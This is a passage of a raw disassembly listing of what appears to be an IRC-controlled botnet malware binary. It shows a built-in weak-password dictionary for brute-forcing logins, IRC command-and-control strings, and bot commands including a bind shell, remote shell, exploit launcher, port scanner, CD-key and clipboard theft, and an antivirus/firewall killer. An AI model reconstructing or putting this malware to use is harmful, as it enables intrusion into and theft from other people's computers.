'exchange',0 ; DATA XREF: .data:00437988o align 4 aFuck_0 db 'fuck',0 ; DATA XREF: .data:0043798Co align 4 aBitch_0 db 'bitch',0 ; DATA XREF: .data:00437990o align 4 aSlut_0 db 'slut',0 ; DATA XREF: .data:00437994o align 4 aSex_0 db 'sex',0 ; DATA XREF: .data:00437998o aGod_0 db 'god',0 ; DATA XREF: .data:0043799Co aHell_0 db 'hell',0 ; DATA XREF: .data:004379A0o align 4 aHello_0 db 'hello',0 ; DATA XREF: .data:004379A4o align 4 aDomain_0 db 'domain',0 ; DATA XREF: .data:004379A8o align 4 aDomainpass_0 db 'domainpass',0 ; DATA XREF: .data:004379ACo align 4 aDomainpasswo_0 db 'domainpassword',0 ; DATA XREF: .data:004379B0o align 4 aDatabase_1 db 'database',0 ; DATA XREF: .data:004379B4o align 4 aAccess_0 db 'access',0 ; DATA XREF: .data:004379B8o align 4 aDbpass_0 db 'dbpass',0 ; DATA XREF: .data:004379BCo align 4 aDbpassword_0 db 'dbpassword',0 ; DATA XREF: .data:004379C0o align 10h aDatabasepass_0 db 'databasepass',0 ; DATA XREF: .data:004379C4o align 10h aData_0 db 'data',0 ; DATA XREF: .data:004379C8o align 4 aDatabasepass_1 db 'databasepassword',0 ; DATA XREF: .data:004379CCo align 4 aDb1_0 db 'db1',0 ; DATA XREF: .data:004379D0o aDb2_1 db 'db2',0 ; DATA XREF: .data:004379D4o aDb1234_0 db 'db1234',0 ; DATA XREF: .data:004379D8o align 4 aSa_1 db 'sa',0 ; DATA XREF: .data:004379DCo align 10h aSql_0 db 'sql',0 ; DATA XREF: .data:004379E0o aSqlpassoains_0 db 'sqlpassoainstall',0 ; DATA XREF: .data:004379E4o align 4 aOrainstall_0 db 'orainstall',0 ; DATA XREF: .data:004379E8o align 4 aOracle_1 db 'oracle',0 ; DATA XREF: .data:004379ECo align 4 aIbm_0 db 'ibm',0 ; DATA XREF: .data:004379F0o aCisco_0 db 'cisco',0 ; DATA XREF: .data:004379F4o align 4 aDell_0 db 'dell',0 ; DATA XREF: .data:004379F8o align 10h aCompaq_0 db 'compaq',0 ; DATA XREF: .data:004379FCo align 4 aSiemens_0 db 'siemens',0 ; DATA XREF: .data:00437A00o aHp_0 db 'hp',0 ; DATA XREF: .data:00437A04o align 4 aNokia_0 db 'nokia',0 ; DATA XREF: .data:00437A08o align 4 aXp_1 db 'xp',0 ; DATA XREF: .data:00437A0Co align 10h aControl_0 db 'control',0 ; DATA XREF: .data:00437A10o aOffice_0 db 'office',0 ; DATA XREF: .data:00437A14o align 10h aBlank_0 db 'blank',0 ; DATA XREF: .data:00437A18o align 4 aWinpass_0 db 'winpass',0 ; DATA XREF: .data:00437A1Co aMain_0 db 'main',0 ; DATA XREF: .data:00437A20o align 4 aLan_0 db 'lan',0 ; DATA XREF: .data:00437A24o aInternet_2 db 'internet',0 ; DATA XREF: .data:00437A28o align 4 aIntranet_0 db 'intranet',0 ; DATA XREF: .data:00437A2Co align 4 aStudent_1 db 'student',0 ; DATA XREF: .data:00437A30o aTeacher_1 db 'teacher',0 ; DATA XREF: .data:00437A34o aStaff_1 db 'staff',0 ; DATA XREF: .data:00437A38o align 10h dd offset byte_4D6511 dd offset aAdministrato_2 ; "administrator" dd offset aAdministrado_1 ; "administrador" dd offset aAdministrate_1 ; "administrateur" dd offset aAdministrat_1 ; "administrat" dd offset aAdmins_1 ; "admins" dd offset aAdmin_2 ; "admin" dd offset aAdm_0 ; "adm" dd offset aPassword1_0 ; "password1" dd offset aPassword_0 ; "password" dd offset aPasswd_0 ; "passwd" dd offset aPass1234_0 ; "pass1234" dd offset aPass_1 ; "pass" dd offset aPwd_0 ; "pwd" dd offset a007_0 ; "007" dd offset a1_0 ; "1" dd offset a12_0 ; "12" dd offset a123_0 ; "123" dd offset a1234_0 ; "1234" dd offset a12345_0 ; "12345" dd offset a123456_0 ; "123456" dd offset a1234567_0 ; "1234567" dd offset a12345678_0 ; "12345678" dd offset a123456789_0 ; "123456789" dd offset a1234567890_0 ; "1234567890" dd offset a2000_0 ; "2000" dd offset a2001_0 ; "2001" dd offset a2002_0 ; "2002" dd offset a2003_1 ; "2003" dd offset a2004_0 ; "2004" dd offset aTest_0 ; "test" dd offset aGuest_2 ; "guest" dd offset aNone_0 ; "none" dd offset aDemo_0 ; "demo" dd offset aUnix_0 ; "unix" dd offset aLinux_0 ; "linux" dd offset aChangeme_0 ; "changeme" dd offset aDefault_1 ; "default" dd offset aSystem_0 ; "system" dd offset aServer_6 ; "server" dd offset aRoot_2 ; "root" dd offset aNull_2 ; "null" dd offset aQwerty_0 ; "qwerty" dd offset aMail_0 ; "mail" dd offset aOutlook_0 ; "outlook" dd offset aWeb_0 ; "web" dd offset aWww_0 ; "www" dd offset aInternet_1 ; "internet" dd offset aAccounts_0 ; "accounts" dd offset aAccounting_0 ; "accounting" dd offset aHome_0 ; "home" dd offset aHomeuser_0 ; "homeuser" dd offset aUser_4 ; "user" dd offset aOem_0 ; "oem" dd offset aOemuser_0 ; "oemuser" dd offset aOeminstall_0 ; "oeminstall" dd offset aWindows_0 ; "windows" dd offset aWin98_0 ; "win98" dd offset aWin2k_0 ; "win2k" dd offset aWinxp_0 ; "winxp" dd offset aWinnt_0 ; "winnt" dd offset aWin2000_0 ; "win2000" dd offset aQaz_0 ; "qaz" dd offset aAsd_0 ; "asd" dd offset aZxc_0 ; "zxc" dd offset aQwe_0 ; "qwe" dd offset aBob_1 ; "bob" dd offset aJen_0 ; "jen" dd offset aJoe_0 ; "joe" dd offset aFred_0 ; "fred" dd offset aBill_0 ; "bill" dd offset aMike_0 ; "mike" dd offset aJohn_0 ; "john" dd offset aPeter_1 ; "peter" dd offset aLuke_0 ; "luke" dd offset aSam_0 ; "sam" dd offset aSue_0 ; "sue" dd offset aSusan_0 ; "susan" dd offset aPeter_2 ; "peter" dd offset aBrian_0 ; "brian" dd offset aLee_0 ; "lee" dd offset aNeil_0 ; "neil" dd offset aIan_0 ; "ian" dd offset aChris_0 ; "chris" dd offset aEric_0 ; "eric" dd offset aGeorge_0 ; "george" dd offset aKate_0 ; "kate" dd offset aBob_2 ; "bob" dd offset aKatie_0 ; "katie" dd offset aMary_0 ; "mary" dd offset aLogin_1 ; "login" dd offset aLoginpass_0 ; "loginpass" dd offset aTechnical_0 ; "technical" dd offset aBackup_0 ; "backup" dd offset aExchange_0 ; "exchange" dd offset aFuck_0 ; "fuck" dd offset aBitch_0 ; "bitch" dd offset aSlut_0 ; "slut" dd offset aSex_0 ; "sex" dd offset aGod_0 ; "god" dd offset aHell_0 ; "hell" dd offset aHello_0 ; "hello" dd offset aDomain_0 ; "domain" dd offset aDomainpass_0 ; "domainpass" dd offset aDomainpasswo_0 ; "domainpassword" dd offset aDatabase_1 ; "database" dd offset aAccess_0 ; "access" dd offset aDbpass_0 ; "dbpass" dd offset aDbpassword_0 ; "dbpassword" dd offset aDatabasepass_0 ; "databasepass" dd offset aData_0 ; "data" dd offset aDatabasepass_1 ; "databasepassword" dd offset aDb1_0 ; "db1" dd offset aDb2_1 ; "db2" dd offset aDb1234_0 ; "db1234" dd offset aSa_1 ; "sa" dd offset aSql_0 ; "sql" dd offset aSqlpassoains_0 ; "sqlpassoainstall" dd offset aOrainstall_0 ; "orainstall" dd offset aOracle_1 ; "oracle" dd offset aIbm_0 ; "ibm" dd offset aCisco_0 ; "cisco" dd offset aDell_0 ; "dell" dd offset aCompaq_0 ; "compaq" dd offset aSiemens_0 ; "siemens" dd offset aHp_0 ; "hp" dd offset aNokia_0 ; "nokia" dd offset aXp_1 ; "xp" dd offset aControl_0 ; "control" dd offset aOffice_0 ; "office" dd offset aBlank_0 ; "blank" dd offset aWinpass_0 ; "winpass" dd offset aMain_0 ; "main" dd offset aLan_0 ; "lan" dd offset aInternet_2 ; "internet" dd offset aIntranet_0 ; "intranet" dd offset aStudent_1 ; "student" dd offset aTeacher_1 ; "teacher" dd offset aStaff_1 ; "staff" align 10h dword_437A40 dd 10h ; sub_401C87+AF6r ... dword_437A44 dd 73257325h, 0 dword_437A4C dd 255C7325h, 73hdword_437A54 dd 25207325h, 25222064h, 2273hdword_437A60 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: sub_401404+352o dd 2E646574h, 0 unk_437A7C db 2Dh ; - ; DATA XREF: sub_401404+38Do db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 10h unk_437AA0 db 2Dh ; - ; DATA XREF: sub_401404+3DEo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h dword_437AE0 dd 234032Dh, 6E656469h, 2036474haServerRunningO db '- Server running on Port: 113.',0 align 4 dword_437B0C dd 234032Dh, 6E656469h, 2036474haFailedToStartS db '- Failed to start server, error: <%d>.',0 align 10h unk_437B40 db 2Dh ; - ; DATA XREF: sub_4019A5+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401B0B+35o align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401B0B+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 asc_437B88 db ' :',0 ; DATA XREF: sub_401C87+86o align 4 asc_437B8C: ; DATA XREF: sub_401C87+AEo unicode 0, < !>,0 aPing db 'PING',0 ; DATA XREF: sub_401C87+19Do align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1B7o align 4 aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1D8o align 4 a001 db '001',0 ; DATA XREF: sub_401C87+1F4o a005 db '005',0 ; DATA XREF: sub_401C87+209o a302 db '302',0 ; DATA XREF: sub_401C87+21Eo a@: ; DATA XREF: sub_401C87+22Eo unicode 0, <@>,0 a433 db '433',0 ; DATA XREF: sub_401C87+260o aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+288o align 4 aKick db 'KICK',0 ; DATA XREF: sub_401C87+2DDo align 10h unk_437BE0 db 2Dh ; - ; DATA XREF: sub_401C87+340o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User %s logged out.',0 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+359o aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3A3o align 10h aNick db 'NICK',0 ; DATA XREF: sub_401C87+3B9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401C87+4D9o align 10h aPart db 'PART',0 ; DATA XREF: sub_401C87+501o align 4 aQuit db 'QUIT',0 ; DATA XREF: sub_401C87+512o align 10h a353 db '353',0 ; DATA XREF: sub_401C87+550o unk_437C44 db 2Dh ; - ; DATA XREF: sub_401C87+587o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: %s.',0 unk_437C64 db 2Dh ; - ; DATA XREF: sub_401C87+5AEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User: %s logged out.',0 align 4 aPart_0 db 'PART',0 ; DATA XREF: sub_401C87+5CBo align 10h aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5EFo aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401C87+5FAo aNotice db 'NOTICE',0 ; DATA XREF: sub_401C87+60Bo align 10h a332 db '332',0 ; DATA XREF: sub_401C87+61Co aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_401C87+63Do aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_401C87+652o align 4 dword_437CC4 dd 43434401h, 0 aSend_1 db 'SEND',0 ; DATA XREF: sub_401C87+6B5o align 4 aS_21 db '%s',0 ; DATA XREF: sub_401C87+6E2o align 4 aS_22 db '%s',0 ; DATA XREF: sub_401C87+6FAo align 4 unk_437CDC db 2Dh ; - ; DATA XREF: sub_401C87+75Bo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_401C87+7B7o align 4 asc_437D14: ; DATA XREF: sub_401C87+7DCo unicode 0, <#>,0 dword_437D18 dd 52455601h, 4E4F4953h, 1dword_437D24 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401C87+88Do dd 0D017325h, 0Ah dword_437D40 dd 4E495001h, 47hdword_437D48 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401C87+8C9o dd 0A0Dh unk_437D60 db 2Dh ; - ; DATA XREF: sub_401C87+8ECo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 10h unk_437DA0 db 2Dh ; - ; DATA XREF: sub_401C87+90Ao db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401C87+927o align 4 aS db '%s',0 ; DATA XREF: sub_401C87+964o align 10h unk_437DF0 db 2Dh ; - ; DATA XREF: sub_401C87+9BEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h unk_437E10 db 2Dh ; - ; DATA XREF: sub_401C87+A17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_437E48 db 2Dh ; - ; DATA XREF: sub_401C87+A3Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_437E78 db 2Dh ; - ; DATA XREF: sub_401C87+A4Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 aLogin db 'login',0 ; DATA XREF: sub_401C87+A71o asc_437EB2 db 'l',0 ; DATA XREF: sub_401C87+A89o a332_0 db '332',0 ; DATA XREF: sub_401C87+AABo asc_437EB8 db ' :',0 ; DATA XREF: sub_401C87:loc_40278Ao align 4 aD db '$%d-',0 ; DATA XREF: sub_401C87+B67o align 4 aD_0 db '$%d',0 ; DATA XREF: sub_401C87+C14o aMe db '$me',0 ; DATA XREF: sub_401C87+C82o aUser db '$user',0 ; DATA XREF: sub_401C87+C94o align 4 aChan db '$chan',0 ; DATA XREF: sub_401C87+CA5o align 4 aRndnick db '$rndnick',0 ; DATA XREF: sub_401C87+CC1o align 4 aServer db '$server',0 ; DATA XREF: sub_401C87+CD2o aChr db '$chr(',0 ; DATA XREF: sub_401C87+CDDo align 4 aChr_0 db '$chr(',0 ; DATA XREF: sub_401C87:loc_40297Ao asc_437EFE db ')',0 ; DATA XREF: sub_401C87+D1Bo a63 db '63',0 ; DATA XREF: sub_401C87+D43o align 4 asc_437F04: ; DATA XREF: sub_401C87+E12o unicode 0, < > aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401C87+E61o aRn db 'rn',0 ; DATA XREF: sub_401C87+E79o align 4 aDie db 'die',0 ; DATA XREF: sub_401C87+E8Eo aD_1: ; DATA XREF: sub_401C87+EA3o unicode 0, <d>,0 aLogout db 'logout',0 ; DATA XREF: sub_401C87+EB8o align 4 aLo db 'lo',0 ; DATA XREF: sub_401C87+ECDo align 4 aVersion db 'version',0 ; DATA XREF: sub_401C87+EE2o aVer db 'ver',0 ; DATA XREF: sub_401C87+EF7o aDedication db 'dedication',0 ; DATA XREF: sub_401C87+F0Co align 10h aDed db 'ded',0 ; DATA XREF: sub_401C87+F21o aSecure db 'secure',0 ; DATA XREF: sub_401C87+F36o align 4 aSec db 'sec',0 ; DATA XREF: sub_401C87+F4Bo aUnsecure db 'unsecure',0 ; DATA XREF: sub_401C87+F60o align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401C87+F75o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401C87+F8Ao align 10h aBd db 'bd',0 ; DATA XREF: sub_401C87+F9Fo align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401C87+FB4o align 4 aServer_2 db 'Server',0 ; DATA XREF: sub_401C87+FCDo align 4 dword_437F8C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401C87+FF4o align 4 aServer_3 db 'Server',0 ; DATA XREF: sub_401C87+100Do align 4 dword_437FB4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03haHttpstop db 'httpstop',0 ; DATA XREF: sub_401C87+101Ao align 10h aServer_4 db 'Server',0 ; DATA XREF: sub_401C87+1033o align 4 dword_437FD8 dd 234032Dh, 70747468h, 2D030264h, 0aLogstop db 'logstop',0 ; DATA XREF: sub_401C87+1040o aLogList db 'Log list',0 ; DATA XREF: sub_401C87+1059o align 4 dword_437FFC dd 234032Dh, 2676F6Ch, 2D03haRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401C87+1069o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401C87+1082o align 4 dword_438028 dd 234032Dh, 69646572h, 74636572h, 2D0302hdword_438038 dd 736F6464h, 6F74732Eh, 70hdword_438044 dd 536F4444h, 6F6C6620h, 646Fhdword_438050 dd 234032Dh, 736F6464h, 2D0302haTftpstop db 'tftpstop',0 ; DATA XREF: sub_401C87+10BBo align 4 aServer_5 db 'Server',0 ; DATA XREF: sub_401C87+10D4o align 10h dword_438070 dd 234032Dh, 70746674h, 2D030264h, 0aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401C87+10E4o align 10h aFfstop db 'ffstop',0 ; DATA XREF: sub_401C87+10F9o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401C87+110Eo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401C87+1123o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401C87+1138o align 4 aClone db 'Clone',0 ; DATA XREF: sub_401C87+1151o align 10h dword_4380C0 dd 234032Dh, 6E6F6C63h, 3027365h, 2DhaSecurestop db 'securestop',0 ; DATA XREF: sub_401C87+1161o align 4 aSecure_1 db 'Secure',0 ; DATA XREF: sub_401C87+117Ao align 4 dword_4380E4 dd 234032Dh, 75636573h, 3026572h, 2DhaScanstop db 'scanstop',0 ; DATA XREF: sub_401C87+118Ao align 10h aScan_2 db 'Scan',0 ; DATA XREF: sub_401C87+11A3o align 4 dword_438108 dd 234032Dh, 6E616373h, 2D0302haScanstats db 'scanstats',0 ; DATA XREF: sub_401C87+11B3o align 10h aStats db 'stats',0 ; DATA XREF: sub_401C87+11C8o align 4 aTransferstats db 'transferstats',0 ; DATA XREF: sub_401C87+11DDo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401C87+11F2o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401C87+1207o align 4 aCbstats db 'cbstats',0 ; DATA XREF: sub_401C87+121Co aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401C87+1231o aExplist db 'explist',0 ; DATA XREF: sub_401C87+1246o aReconnect db 'reconnect',0 ; DATA XREF: sub_401C87+125Bo aR db 'r',0 ; DATA XREF: sub_401C87+1270o aDisconnect db 'disconnect',0 ; DATA XREF: sub_401C87+1285o align 4 aDc db 'dc',0 ; DATA XREF: sub_401C87+129Ao align 4 aQuit_0 db 'quit',0 ; DATA XREF: sub_401C87+12AFo align 2 aQ db 'q',0 ; DATA XREF: sub_401C87+12C4o aStatus db 'status',0 ; DATA XREF: sub_401C87+12D9o align 4 aS_0: ; DATA XREF: sub_401C87+12EEo unicode 0, <s>,0 aId db 'id',0 ; DATA XREF: sub_401C87+1303o align 4 aI: ; DATA XREF: sub_401C87+1318o unicode 0, <i>,0 aReboot db 'reboot',0 ; DATA XREF: sub_401C87+132Do align 10h unk_4381B0 db 2Dh ; - ; DATA XREF: sub_401C87+1344o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 10h unk_4381D0 db 2Dh ; - ; DATA XREF: sub_401C87+134Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 aThreads db 'threads',0 ; DATA XREF: sub_401C87+137Fo aT: ; DATA XREF: sub_401C87+1394o unicode 0, <t>,0 aAliases db 'aliases',0 ; DATA XREF: sub_401C87+13A9o aAl db 'al',0 ; DATA XREF: sub_401C87+13BEo align 10h aLog db 'log',0 ; DATA XREF: sub_401C87+13D3o aLg db 'lg',0 ; DATA XREF: sub_401C87+13E8o align 4 aClearlog db 'clearlog',0 ; DATA XREF: sub_401C87+13FDo align 4 aClg db 'clg',0 ; DATA XREF: sub_401C87+1412o aNetinfo db 'netinfo',0 ; DATA XREF: sub_401C87+1427o aNi db 'ni',0 ; DATA XREF: sub_401C87+143Co align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401C87+1451o aSi db 'si',0 ; DATA XREF: sub_401C87+1466o align 10h aRemove db 'remove',0 ; DATA XREF: sub_401C87+147Bo align 4 aRm db 'rm',0 ; DATA XREF: sub_401C87+1490o align 4 aProcs db 'procs',0 ; DATA XREF: sub_401C87+14A5o align 4 aPs db 'ps',0 ; DATA XREF: sub_401C87+14BAo align 4 aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401C87+14CFo align 4 aKey db 'key',0 ; DATA XREF: sub_401C87+14E4o aUptime db 'uptime',0 ; DATA XREF: sub_401C87+14F9o align 10h aUp db 'up',0 ; DATA XREF: sub_401C87+150Eo align 4 aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401C87+1523o align 10h aDrv db 'drv',0 ; DATA XREF: sub_401C87+1538o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401C87+154Do align 10h aDll db 'dll',0 ; DATA XREF: sub_401C87+1562o aOpencmd db 'opencmd',0 ; DATA XREF: sub_401C87+1577o aOcmd db 'ocmd',0 ; DATA XREF: sub_401C87+158Co align 4 aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401C87+15A1o aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401C87+15BAo align 4 dword_4382BC dd 234032Dh, 2646D63h, 2D03hdword_4382C8 dd 6F6877h dword_4382CC dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401C87+15E7o dword_4382E0 dd 706D453Ch, 3E7974hdword_4382E8 dd 202E6425h, 7325hunk_4382F0 db 2Dh ; - ; DATA XREF: sub_401C87+1659o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401C87+1677o unk_43831C db 2Dh ; - ; DATA XREF: sub_401C87+16F4o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401C87+1750o aGc db 'gc',0 ; DATA XREF: sub_401C87+1765o align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401C87+177Ao align 4 aFarp db 'farp',0 ; DATA XREF: sub_401C87+178Fo align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401C87+17A4o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401C87+17B9o align 10h aCurrentip db 'currentip',0 ; DATA XREF: sub_401C87+17CEo align 4 aCip db 'cip',0 ; DATA XREF: sub_401C87+17E3o aHttpserver db 'httpserver',0 ; DATA XREF: sub_401C87+17F8o align 4 aHttp db 'http',0 ; DATA XREF: sub_401C87+180Do align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401C87+1822o align 10h aTftp db 'tftp',0 ; DATA XREF: sub_401C87+1837o align 4 aCrash db 'crash',0 ; DATA XREF: sub_401C87+184Co align 10h dword_4383C0 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401C87+1862o dd 746F6220h, 2Eh aCrash_0 db 'crash',0 ; DATA XREF: sub_401C87+189Co align 4 aScan db 'scan',0 ; DATA XREF: sub_401C87+18B2o align 4 aScan_0 db 'scan',0 ; DATA XREF: sub_401C87+18C3o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401C87+18D4o align 10h aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+18EFo align 8 unk_438428 db 2Dh ; - ; DATA XREF: sub_401C87+1955o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 aRandom db 'Random',0 ; DATA XREF: sub_401C87+1B02o align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401C87+1B09o align 10h unk_438480 db 2Dh ; - ; DATA XREF: sub_401C87+1B34o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 unk_4384EC db 2Dh ; - ; DATA XREF: sub_401C87+1B93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_0 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_438528 db 2Dh ; - ; DATA XREF: sub_401C87:loc_40387Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_1 db '- Failed to start scan, port is invalid.',0 align 10h unk_438560 db 2Dh ; - ; DATA XREF: sub_401C87+1C08o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunning db ' Already running.',0 align 10h unk_438580 db 2Dh ; - ; DATA XREF: sub_401C87+1CC3o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStartedO db ' Server started on Port: %d, File: %s.',0 align 4 unk_4385B4 db 2Dh ; - ; DATA XREF: sub_401C87+1D1Co db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_2 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_4385F0 db 2Dh ; - ; DATA XREF: sub_401C87+1E38o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListenin db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_43862C db 2Dh ; - ; DATA XREF: sub_401C87+1E91o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_3 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_438668 db 2Dh ; - ; DATA XREF: sub_401C87+1F24o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_43868C db 2Dh ; - ; DATA XREF: sub_401C87:loc_403BB2o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_4386B8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_403BB9o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_4386E4 db 2Dh ; - ; DATA XREF: sub_401C87+1F4Eo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_438708 db 2Dh ; - ; DATA XREF: sub_401C87:loc_403BDCo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 dword_438734 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401C87+1F73o dd 2Dh dword_43874C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401C87+1FA1o dd 72616F62h, 2E64h unk_438768 db 2Dh ; - ; DATA XREF: sub_401C87+1FB7o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_438794 db 2Dh ; - ; DATA XREF: sub_401C87+1FD6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote 